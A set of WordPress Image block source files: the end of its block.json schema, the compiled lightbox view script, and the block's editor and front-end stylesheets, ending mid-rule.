		},
		"linkDestination": {
			"type": "string"
		},
		"linkTarget": {
			"type": "string",
			"source": "attribute",
			"selector": "figure > a",
			"attribute": "target"
		}
	},
	"supports": {
		"interactivity": true,
		"align": [ "left", "center", "right", "wide", "full" ],
		"anchor": true,
		"color": {
			"text": false,
			"background": false
		},
		"filter": {
			"duotone": true
		},
		"__experimentalBorder": {
			"color": true,
			"radius": true,
			"width": true,
			"__experimentalSkipSerialization": true,
			"__experimentalDefaultControls": {
				"color": true,
				"radius": true,
				"width": true
			}
		},
		"shadow": {
			"__experimentalSkipSerialization": true
		}
	},
	"selectors": {
		"border": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"shadow": ".wp-block-image img, .wp-block-image .wp-block-image__crop-area, .wp-block-image .components-placeholder",
		"filter": {
			"duotone": ".wp-block-image img, .wp-block-image .components-placeholder"
		}
	},
	"styles": [
		{
			"name": "default",
			"label": "Default",
			"isDefault": true
		},
		{ "name": "rounded", "label": "Rounded" }
	],
	"editorStyle": "wp-block-image-editor",
	"style": "wp-block-image"
}
import * as __WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__ from "@wordpress/interactivity";
/******/ // The require scope
/******/ var __webpack_require__ = {};
/******/ 
/************************************************************************/
/******/ /* webpack/runtime/define property getters */
/******/ (() => {
/******/ 	// define getter functions for harmony exports
/******/ 	__webpack_require__.d = (exports, definition) => {
/******/ 		for(var key in definition) {
/******/ 			if(__webpack_require__.o(definition, key) && !__webpack_require__.o(exports, key)) {
/******/ 				Object.defineProperty(exports, key, { enumerable: true, get: definition[key] });
/******/ 			}
/******/ 		}
/******/ 	};
/******/ })();
/******/ 
/******/ /* webpack/runtime/hasOwnProperty shorthand */
/******/ (() => {
/******/ 	__webpack_require__.o = (obj, prop) => (Object.prototype.hasOwnProperty.call(obj, prop))
/******/ })();
/******/ 
/************************************************************************/
var __webpack_exports__ = {};

;// CONCATENATED MODULE: external "@wordpress/interactivity"
var x = (y) => {
	var x = {}; __webpack_require__.d(x, y); return x
} 
var y = (x) => (() => (x))
const interactivity_namespaceObject = x({ ["getContext"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getContext), ["getElement"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.getElement), ["store"]: () => (__WEBPACK_EXTERNAL_MODULE__wordpress_interactivity_8e89b257__.store) });
;// CONCATENATED MODULE: ./node_modules/@wordpress/block-library/build-module/image/view.js
/**
 * WordPress dependencies
 */


/**
 * Tracks whether user is touching screen; used to differentiate behavior for
 * touch and mouse input.
 *
 * @type {boolean}
 */
let isTouching = false;

/**
 * Tracks the last time the screen was touched; used to differentiate behavior
 * for touch and mouse input.
 *
 * @type {number}
 */
let lastTouchTime = 0;

/**
 * Stores the image reference of the currently opened lightbox.
 *
 * @type {HTMLElement}
 */
let imageRef;

/**
 * Stores the button reference of the currently opened lightbox.
 *
 * @type {HTMLElement}
 */
let buttonRef;
const {
  state,
  actions,
  callbacks
} = (0,interactivity_namespaceObject.store)('core/image', {
  state: {
    currentImage: {},
    get overlayOpened() {
      return state.currentImage.currentSrc;
    },
    get roleAttribute() {
      return state.overlayOpened ? 'dialog' : null;
    },
    get ariaModal() {
      return state.overlayOpened ? 'true' : null;
    },
    get enlargedSrc() {
      return state.currentImage.uploadedSrc || 'data:image/gif;base64,R0lGODlhAQABAAD/ACwAAAAAAQABAAACADs=';
    },
    get imgStyles() {
      return state.overlayOpened && `${state.currentImage.imgStyles?.replace(/;$/, '')}; object-fit:cover;`;
    }
  },
  actions: {
    showLightbox() {
      const ctx = (0,interactivity_namespaceObject.getContext)();

      // Bails out if the image has not loaded yet.
      if (!ctx.imageRef?.complete) {
        return;
      }

      // Stores the positons of the scroll to fix it until the overlay is
      // closed.
      state.scrollTopReset = document.documentElement.scrollTop;
      state.scrollLeftReset = document.documentElement.scrollLeft;

      // Moves the information of the expaned image to the state.
      ctx.currentSrc = ctx.imageRef.currentSrc;
      imageRef = ctx.imageRef;
      buttonRef = ctx.buttonRef;
      state.currentImage = ctx;
      state.overlayEnabled = true;

      // Computes the styles of the overlay for the animation.
      callbacks.setOverlayStyles();
    },
    hideLightbox() {
      if (state.overlayEnabled) {
        // Waits until the close animation has completed before allowing a
        // user to scroll again. The duration of this animation is defined in
        // the `styles.scss` file, but in any case we should wait a few
        // milliseconds longer than the duration, otherwise a user may scroll
        // too soon and cause the animation to look sloppy.
        setTimeout(function () {
          // Delays before changing the focus. Otherwise the focus ring will
          // appear on Firefox before the image has finished animating, which
          // looks broken.
          buttonRef.focus({
            preventScroll: true
          });

          // Resets the current image to mark the overlay as closed.
          state.currentImage = {};
          imageRef = null;
          buttonRef = null;
        }, 450);

        // Starts the overlay closing animation. The showClosingAnimation
        // class is used to avoid showing it on page load.
        state.showClosingAnimation = true;
        state.overlayEnabled = false;
      }
    },
    handleKeydown(event) {
      if (state.overlayEnabled) {
        // Focuses the close button when the user presses the tab key.
        if (event.key === 'Tab') {
          event.preventDefault();
          const {
            ref
          } = (0,interactivity_namespaceObject.getElement)();
          ref.querySelector('button').focus();
        }
        // Closes the lightbox when the user presses the escape key.
        if (event.key === 'Escape') {
          actions.hideLightbox();
        }
      }
    },
    handleTouchMove(event) {
      // On mobile devices, prevents triggering the scroll event because
      // otherwise the page jumps around when it resets the scroll position.
      // This also means that closing the lightbox requires that a user
      // perform a simple tap. This may be changed in the future if there is a
      // better alternative to override or reset the scroll position during
      // swipe actions.
      if (state.overlayEnabled) {
        event.preventDefault();
      }
    },
    handleTouchStart() {
      isTouching = true;
    },
    handleTouchEnd() {
      // Waits a few milliseconds before resetting to ensure that pinch to
      // zoom works consistently on mobile devices when the lightbox is open.
      lastTouchTime = Date.now();
      isTouching = false;
    },
    handleScroll() {
      // Prevents scrolling behaviors that trigger content shift while the
      // lightbox is open. It would be better to accomplish through CSS alone,
      // but using overflow: hidden is currently the only way to do so and
      // that causes a layout to shift and prevents the zoom animation from
      // working in some cases because it's not possible to account for the
      // layout shift when doing the animation calculations. Instead, it uses
      // JavaScript to prevent and reset the scrolling behavior.
      if (state.overlayOpened) {
        // Avoids overriding the scroll behavior on mobile devices because
        // doing so breaks the pinch to zoom functionality, and users should
        // be able to zoom in further on the high-res image.
        if (!isTouching && Date.now() - lastTouchTime > 450) {
          // It doesn't rely on `event.preventDefault()` to prevent scrolling
          // because the scroll event can't be canceled, so it resets the
          // position instead.
          window.scrollTo(state.scrollLeftReset, state.scrollTopReset);
        }
      }
    }
  },
  callbacks: {
    setOverlayStyles() {
      if (!imageRef) return;
      let {
        naturalWidth,
        naturalHeight,
        offsetWidth: originalWidth,
        offsetHeight: originalHeight
      } = imageRef;
      let {
        x: screenPosX,
        y: screenPosY
      } = imageRef.getBoundingClientRect();

      // Natural ratio of the image clicked to open the lightbox.
      const naturalRatio = naturalWidth / naturalHeight;
      // Original ratio of the image clicked to open the lightbox.
      let originalRatio = originalWidth / originalHeight;

      // If it has object-fit: contain, recalculates the original sizes
      // and the screen position without the blank spaces.
      if (state.currentImage.scaleAttr === 'contain') {
        if (naturalRatio > originalRatio) {
          const heightWithoutSpace = originalWidth / naturalRatio;
          // Recalculates screen position without the top space.
          screenPosY += (originalHeight - heightWithoutSpace) / 2;
          originalHeight = heightWithoutSpace;
        } else {
          const widthWithoutSpace = originalHeight * naturalRatio;
          // Recalculates screen position without the left space.
          screenPosX += (originalWidth - widthWithoutSpace) / 2;
          originalWidth = widthWithoutSpace;
        }
      }
      originalRatio = originalWidth / originalHeight;

      // Typically, it uses the image's full-sized dimensions. If those
      // dimensions have not been set (i.e. an external image with only one
      // size), the image's dimensions in the lightbox are the same
      // as those of the image in the content.
      let imgMaxWidth = parseFloat(state.currentImage.targetWidth !== 'none' ? state.currentImage.targetWidth : naturalWidth);
      let imgMaxHeight = parseFloat(state.currentImage.targetHeight !== 'none' ? state.currentImage.targetHeight : naturalHeight);

      // Ratio of the biggest image stored in the database.
      let imgRatio = imgMaxWidth / imgMaxHeight;
      let containerMaxWidth = imgMaxWidth;
      let containerMaxHeight = imgMaxHeight;
      let containerWidth = imgMaxWidth;
      let containerHeight = imgMaxHeight;
      // Checks if the target image has a different ratio than the original
      // one (thumbnail). Recalculates the width and height.
      if (naturalRatio.toFixed(2) !== imgRatio.toFixed(2)) {
        if (naturalRatio > imgRatio) {
          // If the width is reached before the height, it keeps the maxWidth
          // and recalculates the height unless the difference between the
          // maxHeight and the reducedHeight is higher than the maxWidth,
          // where it keeps the reducedHeight and recalculate the width.
          const reducedHeight = imgMaxWidth / naturalRatio;
          if (imgMaxHeight - reducedHeight > imgMaxWidth) {
            imgMaxHeight = reducedHeight;
            imgMaxWidth = reducedHeight * naturalRatio;
          } else {
            imgMaxHeight = imgMaxWidth / naturalRatio;
          }
        } else {
          // If the height is reached before the width, it keeps the maxHeight
          // and recalculate the width unlesss the difference between the
          // maxWidth and the reducedWidth is higher than the maxHeight, where
          // it keeps the reducedWidth and recalculate the height.
          const reducedWidth = imgMaxHeight * naturalRatio;
          if (imgMaxWidth - reducedWidth > imgMaxHeight) {
            imgMaxWidth = reducedWidth;
            imgMaxHeight = reducedWidth / naturalRatio;
          } else {
            imgMaxWidth = imgMaxHeight * naturalRatio;
          }
        }
        containerWidth = imgMaxWidth;
        containerHeight = imgMaxHeight;
        imgRatio = imgMaxWidth / imgMaxHeight;

        // Calculates the max size of the container.
        if (originalRatio > imgRatio) {
          containerMaxWidth = imgMaxWidth;
          containerMaxHeight = containerMaxWidth / originalRatio;
        } else {
          containerMaxHeight = imgMaxHeight;
          containerMaxWidth = containerMaxHeight * originalRatio;
        }
      }

      // If the image has been pixelated on purpose, it keeps that size.
      if (originalWidth > containerWidth || originalHeight > containerHeight) {
        containerWidth = originalWidth;
        containerHeight = originalHeight;
      }

      // Calculates the final lightbox image size and the scale factor.
      // MaxWidth is either the window container (accounting for padding) or
      // the image resolution.
      let horizontalPadding = 0;
      if (window.innerWidth > 480) {
        horizontalPadding = 80;
      } else if (window.innerWidth > 1920) {
        horizontalPadding = 160;
      }
      const verticalPadding = 80;
      const targetMaxWidth = Math.min(window.innerWidth - horizontalPadding, containerWidth);
      const targetMaxHeight = Math.min(window.innerHeight - verticalPadding, containerHeight);
      const targetContainerRatio = targetMaxWidth / targetMaxHeight;
      if (originalRatio > targetContainerRatio) {
        // If targetMaxWidth is reached before targetMaxHeight.
        containerWidth = targetMaxWidth;
        containerHeight = containerWidth / originalRatio;
      } else {
        // If targetMaxHeight is reached before targetMaxWidth.
        containerHeight = targetMaxHeight;
        containerWidth = containerHeight * originalRatio;
      }
      const containerScale = originalWidth / containerWidth;
      const lightboxImgWidth = imgMaxWidth * (containerWidth / containerMaxWidth);
      const lightboxImgHeight = imgMaxHeight * (containerHeight / containerMaxHeight);

      // As of this writing, using the calculations above will render the
      // lightbox with a small, erroneous whitespace on the left side of the
      // image in iOS Safari, perhaps due to an inconsistency in how browsers
      // handle absolute positioning and CSS transformation. In any case,
      // adding 1 pixel to the container width and height solves the problem,
      // though this can be removed if the issue is fixed in the future.
      state.overlayStyles = `
				:root {
					--wp--lightbox-initial-top-position: ${screenPosY}px;
					--wp--lightbox-initial-left-position: ${screenPosX}px;
					--wp--lightbox-container-width: ${containerWidth + 1}px;
					--wp--lightbox-container-height: ${containerHeight + 1}px;
					--wp--lightbox-image-width: ${lightboxImgWidth}px;
					--wp--lightbox-image-height: ${lightboxImgHeight}px;
					--wp--lightbox-scale: ${containerScale};
					--wp--lightbox-scrollbar-width: ${window.innerWidth - document.documentElement.clientWidth}px;
				}
			`;
    },
    setButtonStyles() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      ctx.imageRef = ref;
      const {
        naturalWidth,
        naturalHeight,
        offsetWidth,
        offsetHeight
      } = ref;

      // If the image isn't loaded yet, it can't calculate where the button
      // should be.
      if (naturalWidth === 0 || naturalHeight === 0) {
        return;
      }
      const figure = ref.parentElement;
      const figureWidth = ref.parentElement.clientWidth;

      // It needs special handling for the height because a caption will cause
      // the figure to be taller than the image, which means it needs to
      // account for that when calculating the placement of the button in the
      // top right corner of the image.
      let figureHeight = ref.parentElement.clientHeight;
      const caption = figure.querySelector('figcaption');
      if (caption) {
        const captionComputedStyle = window.getComputedStyle(caption);
        if (!['absolute', 'fixed'].includes(captionComputedStyle.position)) {
          figureHeight = figureHeight - caption.offsetHeight - parseFloat(captionComputedStyle.marginTop) - parseFloat(captionComputedStyle.marginBottom);
        }
      }
      const buttonOffsetTop = figureHeight - offsetHeight;
      const buttonOffsetRight = figureWidth - offsetWidth;

      // In the case of an image with object-fit: contain, the size of the
      // <img> element can be larger than the image itself, so it needs to
      // calculate where to place the button.
      if (ctx.scaleAttr === 'contain') {
        // Natural ratio of the image.
        const naturalRatio = naturalWidth / naturalHeight;
        // Offset ratio of the image.
        const offsetRatio = offsetWidth / offsetHeight;
        if (naturalRatio >= offsetRatio) {
          // If it reaches the width first, it keeps the width and compute the
          // height.
          const referenceHeight = offsetWidth / naturalRatio;
          ctx.imageButtonTop = (offsetHeight - referenceHeight) / 2 + buttonOffsetTop + 16;
          ctx.imageButtonRight = buttonOffsetRight + 16;
        } else {
          // If it reaches the height first, it keeps the height and compute
          // the width.
          const referenceWidth = offsetHeight * naturalRatio;
          ctx.imageButtonTop = buttonOffsetTop + 16;
          ctx.imageButtonRight = (offsetWidth - referenceWidth) / 2 + buttonOffsetRight + 16;
        }
      } else {
        ctx.imageButtonTop = buttonOffsetTop + 16;
        ctx.imageButtonRight = buttonOffsetRight + 16;
      }
    },
    setOverlayFocus() {
      if (state.overlayEnabled) {
        // Moves the focus to the dialog when it opens.
        const {
          ref
        } = (0,interactivity_namespaceObject.getElement)();
        ref.focus();
      }
    },
    initTriggerButton() {
      const ctx = (0,interactivity_namespaceObject.getContext)();
      const {
        ref
      } = (0,interactivity_namespaceObject.getElement)();
      ctx.buttonRef = ref;
    }
  }
}, {
  lock: true
});

.wp-block-image figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-image figcaption{
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}.wp-block-image.wp-block-image.is-selected .components-placeholder{background-color:#fff;border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;filter:none!important}.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{opacity:0}.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{display:none}.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{opacity:0}.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{opacity:1}.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{transition:none}figure.wp-block-image:not(.wp-block){margin:0}.wp-block-image{position:relative}.wp-block-image .is-applying img,.wp-block-image.is-transient img{opacity:.3}.wp-block-image figcaption img{display:inline}.wp-block-image .components-spinner{left:50%;position:absolute;top:50%;transform:translate(-50%,-50%)}.wp-block-image .components-resizable-box__container{display:table}.wp-block-image .components-resizable-box__container img{display:block;height:inherit;width:inherit}.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{left:0;margin:-1px 0;position:absolute;right:0}@media (min-width:600px){.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{margin:-1px}}[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{height:auto;width:100%}.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{display:table}.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{caption-side:bottom;display:table-caption}.wp-block[data-align=left]>.wp-block-image{margin:.5em 1em .5em 0}.wp-block[data-align=right]>.wp-block-image{margin:.5em 0 .5em 1em}.wp-block[data-align=center]>.wp-block-image{margin-left:auto;margin-right:auto;text-align:center}.wp-block-image__crop-area{max-width:100%;overflow:hidden;position:relative;width:100%}.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{border:none;border-radius:0}.wp-block-image__crop-icon{align-items:center;display:flex;justify-content:center;min-width:48px;padding:0 8px}.wp-block-image__crop-icon svg{fill:currentColor}.wp-block-image__zoom .components-popover__content{min-width:260px;overflow:visible!important}.wp-block-image__aspect-ratio{align-items:center;display:flex;height:46px;margin-bottom:-8px}.wp-block-image__aspect-ratio .components-button{padding-left:0;padding-right:0;width:36px}.wp-block-image__toolbar_content_textarea{width:250px}.wp-block-image figcaption{
  color:#555;
  font-size:13px;
  text-align:center;
}
.is-dark-theme .wp-block-image figcaption{
  color:#ffffffa6;
}

.wp-block-image{
  margin:0 0 1em;
}.wp-block-image figcaption{color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-image figcaption{color:#ffffffa6}.wp-block-image{margin:0 0 1em}.wp-block-image.wp-block-image.is-selected .components-placeholder{
  background-color:#fff;
  border:none;
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #1e1e1e;
  color:#1e1e1e;
  filter:none !important;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder>svg{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .components-placeholder .components-placeholder__illustration{
  display:none;
}
.wp-block-image.wp-block-image .block-bindings-media-placeholder-message,.wp-block-image.wp-block-image.is-selected .components-placeholder:before{
  opacity:0;
}
.wp-block-image.wp-block-image.is-selected .block-bindings-media-placeholder-message{
  opacity:1;
}
.wp-block-image.wp-block-image .components-button,.wp-block-image.wp-block-image .components-placeholder__instructions,.wp-block-image.wp-block-image .components-placeholder__label{
  transition:none;
}

figure.wp-block-image:not(.wp-block){
  margin:0;
}

.wp-block-image{
  position:relative;
}
.wp-block-image .is-applying img,.wp-block-image.is-transient img{
  opacity:.3;
}
.wp-block-image figcaption img{
  display:inline;
}
.wp-block-image .components-spinner{
  position:absolute;
  right:50%;
  top:50%;
  transform:translate(50%, -50%);
}

.wp-block-image .components-resizable-box__container{
  display:table;
}
.wp-block-image .components-resizable-box__container img{
  display:block;
  height:inherit;
  width:inherit;
}

.block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
  left:0;
  margin:-1px 0;
  position:absolute;
  right:0;
}
@media (min-width:600px){
  .block-editor-block-list__block[data-type="core/image"] .block-editor-block-toolbar .block-editor-url-input__button-modal{
    margin:-1px;
  }
}

[data-align=full]>.wp-block-image img,[data-align=wide]>.wp-block-image img{
  height:auto;
  width:100%;
}

.wp-block[data-align=center]>.wp-block-image,.wp-block[data-align=left]>.wp-block-image,.wp-block[data-align=right]>.wp-block-image{
  display:table;
}
.wp-block[data-align=center]>.wp-block-image>figcaption,.wp-block[data-align=left]>.wp-block-image>figcaption,.wp-block[data-align=right]>.wp-block-image>figcaption{
  caption-side:bottom;
  display:table-caption;
}

.wp-block[data-align=left]>.wp-block-image{
  margin:.5em 0 .5em 1em;
}

.wp-block[data-align=right]>.wp-block-image{
  margin:.5em 1em .5em 0;
}

.wp-block[data-align=center]>.wp-block-image{
  margin-left:auto;
  margin-right:auto;
  text-align:center;
}

.wp-block-image__crop-area{
  max-width:100%;
  overflow:hidden;
  position:relative;
  width:100%;
}
.wp-block-image__crop-area .reactEasyCrop_Container .reactEasyCrop_Image{
  border:none;
  border-radius:0;
}

.wp-block-image__crop-icon{
  align-items:center;
  display:flex;
  justify-content:center;
  min-width:48px;
  padding:0 8px;
}
.wp-block-image__crop-icon svg{
  fill:currentColor;
}

.wp-block-image__zoom .components-popover__content{
  min-width:260px;
  overflow:visible !important;
}

.wp-block-image__aspect-ratio{
  align-items:center;
  display:flex;
  height:46px;
  margin-bottom:-8px;
}
.wp-block-image__aspect-ratio .components-button{
  padding-left:0;
  padding-right:0;
  width:36px;
}

.wp-block-image__toolbar_content_textarea{
  width:250px;
}.wp-block-image img{
  box-sizing:border-box;
  height:auto;
  max-width:100%;
  vertical-align:bottom;
}
.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{
  border-radius:inherit;
}
.wp-block-image.has-custom-border img{
  box-sizing:border-box;
}
.wp-block-image.aligncenter{
  text-align:center;
}
.wp-block-image.alignfull img,.wp-block-image.alignwide img{
  height:auto;
  width:100%;
}
.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{
  display:table;
}
.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{
  caption-side:bottom;
  display:table-caption;
}
.wp-block-image .alignleft{
  float:left;
  margin:.5em 1em .5em 0;
}
.wp-block-image .alignright{
  float:right;
  margin:.5em 0 .5em 1em;
}
.wp-block-image .aligncenter{
  margin-left:auto;
  margin-right:auto;
}
.wp-block-image figcaption{
  margin-bottom:1em;
  margin-top:.5em;
}
.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{
  border-radius:9999px;
}
@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){
  .wp-block-image.is-style-circle-mask img{
    border-radius:0;
    -webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
            mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');
    mask-mode:alpha;
    -webkit-mask-position:center;
            mask-position:center;
    -webkit-mask-repeat:no-repeat;
            mask-repeat:no-repeat;
    -webkit-mask-size:contain;
            mask-size:contain;
  }
}
.wp-block-image :where(.has-border-color){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-color]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-color]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-bottom-color]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-color]){
  border-left-style:solid;
}
.wp-block-image :where([style*=border-width]){
  border-style:solid;
}
.wp-block-image :where([style*=border-top-width]){
  border-top-style:solid;
}
.wp-block-image :where([style*=border-right-width]){
  border-right-style:solid;
}
.wp-block-image :where([style*=border-bottom-width]){
  border-bottom-style:solid;
}
.wp-block-image :where([style*=border-left-width]){
  border-left-style:solid;
}

.wp-block-image figure{
  margin:0;
}

.wp-lightbox-container{
  display:flex;
  flex-direction:column;
  position:relative;
}
.wp-lightbox-container img{
  cursor:zoom-in;
}
.wp-lightbox-container img:hover+button{
  opacity:1;
}
.wp-lightbox-container button{
  align-items:center;
  -webkit-backdrop-filter:blur(16px) saturate(180%);
          backdrop-filter:blur(16px) saturate(180%);
  background-color:#5a5a5a40;
  border:none;
  border-radius:4px;
  cursor:zoom-in;
  display:flex;
  height:20px;
  justify-content:center;
  opacity:0;
  padding:0;
  position:absolute;
  right:16px;
  text-align:center;
  top:16px;
  transition:opacity .2s ease;
  width:20px;
  z-index:100;
}
.wp-lightbox-container button:focus-visible{
  outline:3px auto #5a5a5a40;
  outline:3px auto -webkit-focus-ring-color;
  outline-offset:3px;
}
.wp-lightbox-container button:hover{
  cursor:pointer;
  opacity:1;
}
.wp-lightbox-container button:focus{
  opacity:1;
}
.wp-lightbox-container button:focus,.wp-lightbox-container button:hover,.wp-lightbox-container button:not(:hover):not(:active):not(.has-background){
  background-color:#5a5a5a40;
  border:none;
}

.wp-lightbox-overlay{
  box-sizing:border-box;
  cursor:zoom-out;
  height:100vh;
  left:0;
  overflow:hidden;
  position:fixed;
  top:0;
  visibility:hidden;
  width:100%;
  z-index:100000;
}
.wp-lightbox-overlay .close-button{
  align-items:center;
  cursor:pointer;
  display:flex;
  justify-content:center;
  min-height:40px;
  min-width:40px;
  padding:0;
  position:absolute;
  right:calc(env(safe-area-inset-right) + 16px);
  top:calc(env(safe-area-inset-top) + 16px);
  z-index:5000000;
}
.wp-lightbox-overlay .close-button:focus,.wp-lightbox-overlay .close-button:hover,.wp-lightbox-overlay .close-button:not(:hover):not(:active):not(.has-background){
  background:none;
  border:none;
}
.wp-lightbox-overlay .lightbox-image-container{
  height:var(--wp--lightbox-container-height);
  left:50%;
  overflow:hidden;
  position:absolute;
  top:50%;
  transform:translate(-50%, -50%);
  transform-origin:top left;
  width:var(--wp--lightbox-container-width);
  z-index:9999999999;
}
.wp-lightbox-overlay .wp-block-image{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:100%;
  justify-content:center;
  margin:0;
  position:relative;
  transform-origin:0 0;
  width:100%;
  z-index:3000000;
}
.wp-lightbox-overlay .wp-block-image img{
  height:var(--wp--lightbox-image-height);
  min-height:var(--wp--lightbox-image-height);
  min-width:var(--wp--lightbox-image-width);
  width:var(--wp--lightbox-image-width);
}
.wp-lightbox-overlay .wp-block-image figcaption{
  display:none;
}
.wp-lightbox-overlay button{
  background:none;
  border:none;
}
.wp-lightbox-overlay .scrim{
  background-color:#fff;
  height:100%;
  opacity:.9;
  position:absolute;
  width:100%;
  z-index:2000000;
}
.wp-lightbox-overlay.active{
  animation:turn-on-visibility .25s both;
  visibility:visible;
}
.wp-lightbox-overlay.active img{
  animation:turn-on-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active){
  animation:turn-off-visibility .35s both;
}
.wp-lightbox-overlay.show-closing-animation:not(.active) img{
  animation:turn-off-visibility .25s both;
}
@media (prefers-reduced-motion:no-preference){
  .wp-lightbox-overlay.zoom.active{
    animation:none;
    opacity:1;
    visibility:visible;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container{
    animation:lightbox-zoom-in .4s;
  }
  .wp-lightbox-overlay.zoom.active .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.active .scrim{
    animation:turn-on-visibility .4s forwards;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active){
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container{
    animation:lightbox-zoom-out .4s;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .lightbox-image-container img{
    animation:none;
  }
  .wp-lightbox-overlay.zoom.show-closing-animation:not(.active) .scrim{
    animation:turn-off-visibility .4s forwards;
  }
}

@keyframes turn-on-visibility{
  0%{
    opacity:0;
  }
  to{
    opacity:1;
  }
}
@keyframes turn-off-visibility{
  0%{
    opacity:1;
    visibility:visible;
  }
  99%{
    opacity:0;
    visibility:visible;
  }
  to{
    opacity:0;
    visibility:hidden;
  }
}
@keyframes lightbox-zoom-in{
  0%{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
  }
  to{
    transform:translate(-50%, -50%) scale(1);
  }
}
@keyframes lightbox-zoom-out{
  0%{
    transform:translate(-50%, -50%) scale(1);
    visibility:visible;
  }
  99%{
    visibility:visible;
  }
  to{
    transform:translate(calc((-100vw + var(--wp--lightbox-scrollbar-width))/2 + var(--wp--lightbox-initial-left-position)), calc(-50vh + var(--wp--lightbox-initial-top-position))) scale(var(--wp--lightbox-scale));
    visibility:hidden;
  }
}.wp-block-image img{box-sizing:border-box;height:auto;max-width:100%;vertical-align:bottom}.wp-block-image[style*=border-radius] img,.wp-block-image[style*=border-radius]>a{border-radius:inherit}.wp-block-image.has-custom-border img{box-sizing:border-box}.wp-block-image.aligncenter{text-align:center}.wp-block-image.alignfull img,.wp-block-image.alignwide img{height:auto;width:100%}.wp-block-image .aligncenter,.wp-block-image .alignleft,.wp-block-image .alignright,.wp-block-image.aligncenter,.wp-block-image.alignleft,.wp-block-image.alignright{display:table}.wp-block-image .aligncenter>figcaption,.wp-block-image .alignleft>figcaption,.wp-block-image .alignright>figcaption,.wp-block-image.aligncenter>figcaption,.wp-block-image.alignleft>figcaption,.wp-block-image.alignright>figcaption{caption-side:bottom;display:table-caption}.wp-block-image .alignleft{float:left;margin:.5em 1em .5em 0}.wp-block-image .alignright{float:right;margin:.5em 0 .5em 1em}.wp-block-image .aligncenter{margin-left:auto;margin-right:auto}.wp-block-image figcaption{margin-bottom:1em;margin-top:.5em}.wp-block-image .is-style-rounded img,.wp-block-image.is-style-circle-mask img,.wp-block-image.is-style-rounded img{border-radius:9999px}@supports ((-webkit-mask-image:none) or (mask-image:none)) or (-webkit-mask-image:none){.wp-block-image.is-style-circle-mask img{border-radius:0;-webkit-mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-image:url('data:image/svg+xml;utf8,<svg viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg"><circle cx="50" cy="50" r="50"/></svg>');mask-mode:alpha;-webkit-mask-position:center;mask-position:center;-webkit-mask-repeat:no-repeat;mask-repeat:no-repeat;-webkit-mask-size:contain;mask-size:contain}}.wp-block-image :where(.has-border-color){border-style:solid}.wp-block-image :where([style*=border-top-color]){border-top-style:solid}.wp-block-image :where([style*=border-right-color]){border-right-style:solid}.wp-block-image :where([style*=border-bottom-color]){border-bottom-style:solid}.wp-block-image :where([style*=border-left-color]){border-left-style:solid}.wp-block-image 